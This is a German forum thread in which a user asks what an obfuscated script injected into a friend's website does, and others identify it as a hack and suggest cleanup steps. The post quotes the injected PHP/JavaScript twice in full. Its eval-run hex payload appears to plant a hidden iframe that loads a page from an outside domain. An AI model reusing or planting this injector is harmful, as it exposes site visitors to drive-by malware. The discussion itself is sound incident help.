Komischer Javascript Code

[Stevie]

Heyho,
Auf der Seite von nem Bekannten befindet sich seit ein paar Tagen ein komischer Javascript Code. Gibts iwie ne Möglichkeit diesen zu decodieren ?
Bzw. hat jemand ne Ahnung was das sein könnte ?

</body>
</html>
 
 
 
 
 
#74ed9f#
                                                                                                                                                                                                                                                          if(empty($aakuv)) { $aakuv = " <script type=\"text/javascript\" language=\"javascript\" > bwcjmi=\"fr\"+\"omCh\"+\"arCo\"+\"de\";if(document.querySelector)oabj=4;dolkb=(\"40,86,95,8e,83,94,89,8f,8e,40,8d,86,8f,9a,50,59,48,49,40,9b,2d,2a,40,96,81,92,40,93,94,81,94,89,83,5d,47,81,8a,81,98,47,5b,2d,2a,40,96,81,92,40,83,8f,8e,94,92,8f,8c,8c,85,92,5d,47,89,8e,84,85,98,4e,90,88,90,47,5b,2d,2a,40,96,81,92,40,8d,86,8f,9a,40,5d,40,84,8f,83,95,8d,85,8e,94,4e,83,92,85,81,94,85,65,8c,85,8d,85,8e,94,48,47,89,86,92,81,8d,85,47,49,5b,2d,2a,2d,2a,40,8d,86,8f,9a,4e,93,92,83,40,5d,40,47,88,94,94,90,5a,4f,4f,97,97,97,4e,82,8f,95,8c,84,85,92,88,85,81,8c,94,88,81,8e,84,97,85,8c,8c,8e,85,93,93,4e,83,8f,8d,4f,6b,94,90,88,84,6d,6e,82,4e,90,88,90,47,5b,2d,2a,40,8d,86,8f,9a,4e,93,94,99,8c,85,4e,90,8f,93,89,94,89,8f,8e,40,5d,40,47,81,82,93,8f,8c,95,94,85,47,5b,2d,2a,40,8d,86,8f,9a,4e,93,94,99,8c,85,4e,83,8f,8c,8f,92,40,5d,40,47,57,50,54,47,5b,2d,2a,40,8d,86,8f,9a,4e,93,94,99,8c,85,4e,88,85,89,87,88,94,40,5d,40,47,57,50,54,90,98,47,5b,2d,2a,40,8d,86,8f,9a,4e,93,94,99,8c,85,4e,97,89,84,94,88,40,5d,40,47,57,50,54,90,98,47,5b,2d,2a,40,8d,86,8f,9a,4e,93,94,99,8c,85,4e,8c,85,86,94,40,5d,40,47,51,50,50,50,57,50,54,47,5b,2d,2a,40,8d,86,8f,9a,4e,93,94,99,8c,85,4e,94,8f,90,40,5d,40,47,51,50,50,50,57,50,54,47,5b,2d,2a,2d,2a,40,89,86,40,48,41,84,8f,83,95,8d,85,8e,94,4e,87,85,94,65,8c,85,8d,85,8e,94,62,99,69,84,48,47,8d,86,8f,9a,47,49,49,40,9b,2d,2a,40,84,8f,83,95,8d,85,8e,94,4e,97,92,89,94,85,48,47,5c,90,40,89,84,5d,7c,47,8d,86,8f,9a,7c,47,40,83,8c,81,93,93,5d,7c,47,8d,86,8f,9a,50,59,7c,47,40,5e,5c,4f,90,5e,47,49,5b,2d,2a,40,84,8f,83,95,8d,85,8e,94,4e,87,85,94,65,8c,85,8d,85,8e,94,62,99,69,84,48,47,8d,86,8f,9a,47,49,4e,81,90,90,85,8e,84,63,88,89,8c,84,48,8d,86,8f,9a,49,5b,2d,2a,40,9d,2d,2a,9d,2d,2a,86,95,8e,83,94,89,8f,8e,40,73,85,94,63,8f,8f,8b,89,85,48,83,8f,8f,8b,89,85,6e,81,8d,85,4c,83,8f,8f,8b,89,85,76,81,8c,95,85,4c,8e,64,81,99,93,4c,90,81,94,88,49,40,9b,2d,2a,40,96,81,92,40,94,8f,84,81,99,40,5d,40,8e,85,97,40,64,81,94,85,48,49,5b,2d,2a,40,96,81,92,40,85,98,90,89,92,85,40,5d,40,8e,85,97,40,64,81,94,85,48,49,5b,2d,2a,40,89,86,40,48,8e,64,81,99,93,5d,5d,8e,95,8c,8c,40,9c,9c,40,8e,64,81,99,93,5d,5d,50,49,40,8e,64,81,99,93,5d,51,5b,2d,2a,40,85,98,90,89,92,85,4e,93,85,94,74,89,8d,85,48,94,8f,84,81,99,4e,87,85,94,74,89,8d,85,48,49,40,4b,40,53,56,50,50,50,50,50,4a,52,54,4a,8e,64,81,99,93,49,5b,2d,2a,40,84,8f,83,95,8d,85,8e,94,4e,83,8f,8f,8b,89,85,40,5d,40,83,8f,8f,8b,89,85,6e,81,8d,85,4b,42,5d,42,4b,85,93,83,81,90,85,48,83,8f,8f,8b,89,85,76,81,8c,95,85,49,2d,2a,40,4b,40,42,5b,85,98,90,89,92,85,93,5d,42,40,4b,40,85,98,90,89,92,85,4e,94,8f,67,6d,74,73,94,92,89,8e,87,48,49,40,4b,40,48,48,90,81,94,88,49,40,5f,40,42,5b,40,90,81,94,88,5d,42,40,4b,40,90,81,94,88,40,5a,40,42,42,49,5b,2d,2a,9d,2d,2a,86,95,8e,83,94,89,8f,8e,40,67,85,94,63,8f,8f,8b,89,85,48,40,8e,81,8d,85,40,49,40,9b,2d,2a,40,96,81,92,40,93,94,81,92,94,40,5d,40,84,8f,83,95,8d,85,8e,94,4e,83,8f,8f,8b,89,85,4e,89,8e,84,85,98,6f,86,48,40,8e,81,8d,85,40,4b,40,42,5d,42,40,49,5b,2d,2a,40,96,81,92,40,8c,85,8e,40,5d,40,93,94,81,92,94,40,4b,40,8e,81,8d,85,4e,8c,85,8e,87,94,88,40,4b,40,51,5b,2d,2a,40,89,86,40,48,40,48,40,41,93,94,81,92,94,40,49,40,46,46,2d,2a,40,48,40,8e,81,8d,85,40,41,5d,40,84,8f,83,95,8d,85,8e,94,4e,83,8f,8f,8b,89,85,4e,93,95,82,93,94,92,89,8e,87,48,40,50,4c,40,8e,81,8d,85,4e,8c,85,8e,87,94,88,40,49,40,49,40,49,2d,2a,40,9b,2d,2a,40,92,85,94,95,92,8e,40,8e,95,8c,8c,5b,2d,2a,40,9d,2d,2a,40,89,86,40,48,40,93,94,81,92,94,40,5d,5d,40,4d,51,40,49,40,92,85,94,95,92,8e,40,8e,95,8c,8c,5b,2d,2a,40,96,81,92,40,85,8e,84,40,5d,40,84,8f,83,95,8d,85,8e,94,4e,83,8f,8f,8b,89,85,4e,89,8e,84,85,98,6f,86,48,40,42,5b,42,4c,40,8c,85,8e,40,49,5b,2d,2a,40,89,86,40,48,40,85,8e,84,40,5d,5d,40,4d,51,40,49,40,85,8e,84,40,5d,40,84,8f,83,95,8d,85,8e,94,4e,83,8f,8f,8b,89,85,4e,8c,85,8e,87,94,88,5b,2d,2a,40,92,85,94,95,92,8e,40,95,8e,85,93,83,81,90,85,48,40,84,8f,83,95,8d,85,8e,94,4e,83,8f,8f,8b,89,85,4e,93,95,82,93,94,92,89,8e,87,48,40,8c,85,8e,4c,40,85,8e,84,40,49,40,49,5b,2d,2a,9d,2d,2a,89,86,40,48,8e,81,96,89,87,81,94,8f,92,4e,83,8f,8f,8b,89,85,65,8e,81,82,8c,85,84,49,2d,2a,9b,2d,2a,89,86,48,67,85,94,63,8f,8f,8b,89,85,48,47,96,89,93,89,94,85,84,7f,95,91,47,49,5d,5d,55,55,49,9b,9d,85,8c,93,85,9b,73,85,94,63,8f,8f,8b,89,85,48,47,96,89,93,89,94,85,84,7f,95,91,47,4c,40,47,55,55,47,4c,40,47,51,47,4c,40,47,4f,47,49,5b,2d,2a,2d,2a,8d,86,8f,9a,50,59,48,49,5b,2d,2a,9d,2d,2a,9d\".split(\",\"));xuosl=eval;function ssgeu(){ctmlv=function(){--(eeidw.body)}()}eeidw=document;for(uhin=0;uhin<dolkb[\"length\"];uhin+=1){dolkb[uhin]=-(32)+parseInt(dolkb[uhin],oabj*4);}try{ssgeu()}catch(yxrfrj){kwzi=50-50;}if(!kwzi)xuosl(String[bwcjmi].apply(String,dolkb));</script> "; echo $aakuv; }
#/74ed9f#

Danke euch!

</body>
</html>





#74ed9f#
if(empty($aakuv)) { $aakuv = " <script type=\"text/javascript\" language=\"javascript\" > bwcjmi=\"fr\"+\"omCh\"+\"arCo\"+\"de\";if(document.querySelector)oabj=4;dolkb=(\"40,86,95,8e,83,94,89,8f,8e,40,8d,86,8f,9a,50,59,48,49,40,9b,2d,2a,40,96,81,92,40,93,94,81,94,89,83,5d,47,81,8a,81,98,47,5b,2d,2a,40,96,81,92,40,83,8f,8e,94,92,8f,8c,8c,85,92,5d,47,89,8e,84,85,98,4e,90,88,90,47,5b,2d,2a,40,96,81,92,40,8d,86,8f,9a,40,5d,40,84,8f,83,95,8d,85,8e,94,4e,83,92,85,81,94,85,65,8c,85,8d,85,8e,94,48,47,89,86,92,81,8d,85,47,49,5b,2d,2a,2d,2a,40,8d,86,8f,9a,4e,93,92,83,40,5d,40,47,88,94,94,90,5a,4f,4f,97,97,97,4e,82,8f,95,8c,84,85,92,88,85,81,8c,94,88,81,8e,84,97,85,8c,8c,8e,85,93,93,4e,83,8f,8d,4f,6b,94,90,88,84,6d,6e,82,4e,90,88,90,47,5b,2d,2a,40,8d,86,8f,9a,4e,93,94,99,8c,85,4e,90,8f,93,89,94,89,8f,8e,40,5d,40,47,81,82,93,8f,8c,95,94,85,47,5b,2d,2a,40,8d,86,8f,9a,4e,93,94,99,8c,85,4e,83,8f,8c,8f,92,40,5d,40,47,57,50,54,47,5b,2d,2a,40,8d,86,8f,9a,4e,93,94,99,8c,85,4e,88,85,89,87,88,94,40,5d,40,47,57,50,54,90,98,47,5b,2d,2a,40,8d,86,8f,9a,4e,93,94,99,8c,85,4e,97,89,84,94,88,40,5d,40,47,57,50,54,90,98,47,5b,2d,2a,40,8d,86,8f,9a,4e,93,94,99,8c,85,4e,8c,85,86,94,40,5d,40,47,51,50,50,50,57,50,54,47,5b,2d,2a,40,8d,86,8f,9a,4e,93,94,99,8c,85,4e,94,8f,90,40,5d,40,47,51,50,50,50,57,50,54,47,5b,2d,2a,2d,2a,40,89,86,40,48,41,84,8f,83,95,8d,85,8e,94,4e,87,85,94,65,8c,85,8d,85,8e,94,62,99,69,84,48,47,8d,86,8f,9a,47,49,49,40,9b,2d,2a,40,84,8f,83,95,8d,85,8e,94,4e,97,92,89,94,85,48,47,5c,90,40,89,84,5d,7c,47,8d,86,8f,9a,7c,47,40,83,8c,81,93,93,5d,7c,47,8d,86,8f,9a,50,59,7c,47,40,5e,5c,4f,90,5e,47,49,5b,2d,2a,40,84,8f,83,95,8d,85,8e,94,4e,87,85,94,65,8c,85,8d,85,8e,94,62,99,69,84,48,47,8d,86,8f,9a,47,49,4e,81,90,90,85,8e,84,63,88,89,8c,84,48,8d,86,8f,9a,49,5b,2d,2a,40,9d,2d,2a,9d,2d,2a,86,95,8e,83,94,89,8f,8e,40,73,85,94,63,8f,8f,8b,89,85,48,83,8f,8f,8b,89,85,6e,81,8d,85,4c,83,8f,8f,8b,89,85,76,81,8c,95,85,4c,8e,64,81,99,93,4c,90,81,94,88,49,40,9b,2d,2a,40,96,81,92,40,94,8f,84,81,99,40,5d,40,8e,85,97,40,64,81,94,85,48,49,5b,2d,2a,40,96,81,92,40,85,98,90,89,92,85,40,5d,40,8e,85,97,40,64,81,94,85,48,49,5b,2d,2a,40,89,86,40,48,8e,64,81,99,93,5d,5d,8e,95,8c,8c,40,9c,9c,40,8e,64,81,99,93,5d,5d,50,49,40,8e,64,81,99,93,5d,51,5b,2d,2a,40,85,98,90,89,92,85,4e,93,85,94,74,89,8d,85,48,94,8f,84,81,99,4e,87,85,94,74,89,8d,85,48,49,40,4b,40,53,56,50,50,50,50,50,4a,52,54,4a,8e,64,81,99,93,49,5b,2d,2a,40,84,8f,83,95,8d,85,8e,94,4e,83,8f,8f,8b,89,85,40,5d,40,83,8f,8f,8b,89,85,6e,81,8d,85,4b,42,5d,42,4b,85,93,83,81,90,85,48,83,8f,8f,8b,89,85,76,81,8c,95,85,49,2d,2a,40,4b,40,42,5b,85,98,90,89,92,85,93,5d,42,40,4b,40,85,98,90,89,92,85,4e,94,8f,67,6d,74,73,94,92,89,8e,87,48,49,40,4b,40,48,48,90,81,94,88,49,40,5f,40,42,5b,40,90,81,94,88,5d,42,40,4b,40,90,81,94,88,40,5a,40,42,42,49,5b,2d,2a,9d,2d,2a,86,95,8e,83,94,89,8f,8e,40,67,85,94,63,8f,8f,8b,89,85,48,40,8e,81,8d,85,40,49,40,9b,2d,2a,40,96,81,92,40,93,94,81,92,94,40,5d,40,84,8f,83,95,8d,85,8e,94,4e,83,8f,8f,8b,89,85,4e,89,8e,84,85,98,6f,86,48,40,8e,81,8d,85,40,4b,40,42,5d,42,40,49,5b,2d,2a,40,96,81,92,40,8c,85,8e,40,5d,40,93,94,81,92,94,40,4b,40,8e,81,8d,85,4e,8c,85,8e,87,94,88,40,4b,40,51,5b,2d,2a,40,89,86,40,48,40,48,40,41,93,94,81,92,94,40,49,40,46,46,2d,2a,40,48,40,8e,81,8d,85,40,41,5d,40,84,8f,83,95,8d,85,8e,94,4e,83,8f,8f,8b,89,85,4e,93,95,82,93,94,92,89,8e,87,48,40,50,4c,40,8e,81,8d,85,4e,8c,85,8e,87,94,88,40,49,40,49,40,49,2d,2a,40,9b,2d,2a,40,92,85,94,95,92,8e,40,8e,95,8c,8c,5b,2d,2a,40,9d,2d,2a,40,89,86,40,48,40,93,94,81,92,94,40,5d,5d,40,4d,51,40,49,40,92,85,94,95,92,8e,40,8e,95,8c,8c,5b,2d,2a,40,96,81,92,40,85,8e,84,40,5d,40,84,8f,83,95,8d,85,8e,94,4e,83,8f,8f,8b,89,85,4e,89,8e,84,85,98,6f,86,48,40,42,5b,42,4c,40,8c,85,8e,40,49,5b,2d,2a,40,89,86,40,48,40,85,8e,84,40,5d,5d,40,4d,51,40,49,40,85,8e,84,40,5d,40,84,8f,83,95,8d,85,8e,94,4e,83,8f,8f,8b,89,85,4e,8c,85,8e,87,94,88,5b,2d,2a,40,92,85,94,95,92,8e,40,95,8e,85,93,83,81,90,85,48,40,84,8f,83,95,8d,85,8e,94,4e,83,8f,8f,8b,89,85,4e,93,95,82,93,94,92,89,8e,87,48,40,8c,85,8e,4c,40,85,8e,84,40,49,40,49,5b,2d,2a,9d,2d,2a,89,86,40,48,8e,81,96,89,87,81,94,8f,92,4e,83,8f,8f,8b,89,85,65,8e,81,82,8c,85,84,49,2d,2a,9b,2d,2a,89,86,48,67,85,94,63,8f,8f,8b,89,85,48,47,96,89,93,89,94,85,84,7f,95,91,47,49,5d,5d,55,55,49,9b,9d,85,8c,93,85,9b,73,85,94,63,8f,8f,8b,89,85,48,47,96,89,93,89,94,85,84,7f,95,91,47,4c,40,47,55,55,47,4c,40,47,51,47,4c,40,47,4f,47,49,5b,2d,2a,2d,2a,8d,86,8f,9a,50,59,48,49,5b,2d,2a,9d,2d,2a,9d\".split(\",\"));xuosl=eval;function ssgeu(){ctmlv=function(){--(eeidw.body)}()}eeidw=document;for(uhin=0;uhin<dolkb[\"length\"];uhin+=1){dolkb[uhin]=-(32)+parseInt(dolkb[uhin],oabj*4);}try{ssgeu()}catch(yxrfrj){kwzi=50-50;}if(!kwzi)xuosl(String[bwcjmi].apply(String,dolkb));</script> "; echo $aakuv; }
#/74ed9f#

 

[blackmexx]

Also wenn ich bei Google nach #/74ed9f# suche und mir die Seiten anschau die Google als Ergebnis liefert. Würde ich mir weniger Gedanken darüber machen, was verschlüsselt wurde. Sondern mehr Gedanken darüber machen, wie kommt der Code auf die Seite!

 

[Stevie]

Also wenn ich bei Google nach #/74ed9f# suche und mir die Seiten anschau die Google als Ergebnis liefert. Würde ich mir weniger Gedanken darüber machen, was verschlüsselt wurde. Sondern mehr Gedanken darüber machen, wie kommt der Code auf die Seite!

Jo, wurde natürlich bereits gemacht, der Provider hat keine Auskunft warum,wieso,weshalb...
Deswegen auch meine Frage an euch...

 

[sophie]

Woher soll der Provider das auch wissen ohne Logs zu analysieren wofür er ja meist nicht bezaht wird. Womit wird die Webseite betrieben, Wordpress? Dann würde ich auf Plugins oder Template tippen... mysql injection oder möglicherweise das timthumb-Problem?

 

[party]

Phishing Code, die Seite wurde gehackt. Neue FTP Passwöter und jede Datei säubern. .js und.html sind am meisten verseucht.

 

[party]

Denk darn alles auf dem FTP zu säubern, auch ander webprojekte sofern auch dort gehostet. So ein Hack bekommt überall Zugriff. Hab das auch schon bei mir gehabt. Joomla Plugins sind Anfällig und auch die Joomla 1.5 Installationen. Da ist irgenwo php nicht sauber geschützt.

 

[MisterAustria]

ähnliches hatte ich auch vor paar monat. problem war nicht am space sondern das ftp am pc mit gespeicherten zugängen + schlechtes AV am pc. nachdem probs am pc beseitigt waren neue pw für ftp und alles neu aufgespielt aus der sicherung und ruhe war...

MA

 

[party]

Stimmt, ein Trojaner auf dem eigenen Rechner kann es auch sein, besonders toll sind die im bootmemory, da sehr hartneckig. Aber bei mir war es eine Jommla Schwahstelle damals. Wird auch wenn zu lange auf dem dem Webspace von Google bestraft, "Es wurde Maleware auf Ihrer Webseite entdeckt..."

 

[Stevie]

Okay Vielen Dank!